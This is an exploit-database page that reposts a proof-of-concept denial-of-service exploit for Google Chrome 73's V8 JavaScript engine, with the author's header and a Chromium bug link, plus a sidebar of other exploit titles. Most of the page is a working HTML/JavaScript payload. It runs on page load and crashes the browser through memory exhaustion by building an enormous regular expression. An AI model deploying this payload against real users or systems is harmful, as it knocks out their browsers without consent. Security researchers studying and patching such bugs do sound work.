Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2019-04-22 | Type : dos | Platform : multiple
This exploit / vulnerability Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

<!--
# Exploit Title: Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-memory in invalid table size . Denial of Service (PoC)
# Google Dork: N/A
# Date: 2019-04-20
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
# Vendor Homepage: https://www.google.com/
# Version: Google Chrome 73.0.3683.103
# Tested on: Windows x64
# CVE : N/A

# Description:

# Fatal javascript OOM in invalid table size

# https://bugs.chromium.org/p/chromium/issues/detail?id=918301
-->


<html>
<head>
<script>

var arr1 = [0,1];

function ObjCreate(make) {
this.make = make;
}

var obj1 = new ObjCreate();

function main() {

arr1.reduce(f3);

Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));

}

function f3() {

obj1["make"] = RegExp(Array(60000).join("CCC"));
}

</script>
</head>
<body onload=main()></body>
</html>

Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc)


Last added Exploits Vulnerabilities

▸ soplanning 1.52.01 (simple online planning tool) - remote code execution (rce) (authenticated) ◂
Discovered: 2024-11-15
Type: webapps
Platform: php

▸ rengine 2.2.0 - command injection (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: multiple

▸ opensis 9.1 - sqli (authenticated) ◂
Discovered: 2024-10-01
Type: webapps
Platform: php



Tags:
Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) Vulnerability / Exploit